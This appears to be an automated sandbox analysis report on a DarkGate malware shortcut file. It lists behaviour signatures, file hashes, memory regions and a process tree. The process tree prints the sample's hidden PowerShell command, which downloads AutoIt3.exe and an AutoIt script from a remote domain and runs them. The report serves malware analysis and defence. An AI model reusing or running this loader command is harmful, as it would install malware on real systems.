Analysis

  • max time kernel
    93s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/02/2024, 03:14

General

  • Target
    2023-10-12-shortcut-for-DarkGate-example-3-of-3.lnk
  • Size 2KB
  • Sample240207-drfp6scbb6
  • SHA256 7b03a759123dbb2429e1e7a506e5281b3ecc0d4a655bf5affc3650f9d8e20a24
  • MD5 SHA1 SHA512
Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\2023-10-12-shortcut-for-DarkGate-example-3-of-3.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "&{ ni "C:\temp" -Type Directory -Force; cd "C:\temp"; Invoke-WebRequest -Uri "http://hgfdytrywq.com:80/a" -OutFile "AutoIt3.exe"; Invoke-WebRequest -Uri "http://hgfdytrywq.com:80/ofubdf" -OutFile "oWUNju.au3";start "AutoIt3.exe" -a "oWUNju.au3"}"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:680

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_1qmera2m.gkw.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1qmera2m.gkw.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        memory/680-11-0x000002794BA60000-0x000002794BA82000-memory.dmp

        memory/680-12-0x00007FFE0A8C0000-0x00007FFE0B381000-memory.dmp

        memory/680-14-0x0000027932D70000-0x0000027932D80000-memory.dmp

        memory/680-15-0x0000027932D70000-0x0000027932D80000-memory.dmp

        memory/680-13-0x0000027932D70000-0x0000027932D80000-memory.dmp

        memory/680-18-0x00007FFE0A8C0000-0x00007FFE0B381000-memory.dmp